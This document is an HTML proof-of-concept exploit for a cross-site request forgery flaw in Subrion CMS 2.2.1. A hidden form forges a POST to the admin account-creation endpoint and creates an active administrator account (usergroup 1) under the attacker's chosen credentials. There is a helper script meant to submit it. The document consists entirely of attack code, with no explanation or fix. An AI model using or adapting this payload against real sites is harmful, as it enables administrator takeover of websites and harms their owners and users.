<html>
<head>
<title>Subrion CMS 2.2.1 CSRF Add Admin Exploit</title>
</head>
<body><center><br />
<form method="post" action="http://localhost/subrion/admin/accounts/add/" onsubmit="forge()">
<input type="hidden" name="username" value="Ethical" />
<input type="hidden" name="fullname" value="Ethical" />
<input type="hidden" name="email" value="certifiedethical@gmail.com" />
<input type="hidden" name="_password" value="Ethical" />
<input type="hidden" name="_password2" value="Ethical" />
<input type="hidden" name="usergroup" value="1" />
<input type="hidden" name="avatar" value="" />
<input type="hidden" name="sponsored" value="0" />
<input type="hidden" name="plan_id" value="1" />
<input type="hidden" name="sponsored_end" value="" />
<input type="hidden" name="status" value="active" />
<input type="hidden" name="save" value="Add" />
<input type="hidden" name="goto" value="list" />
<input type="hidden" name="old_name" value="ZSL" />
<input type="hidden" name="id" value="" />
<input type="submit" id="exploit" value="Forge!" />
</form></center>
<script type="text/javascript">
function forge(){document.getElementById("exploit").click();}
</script>
</body>
</html>
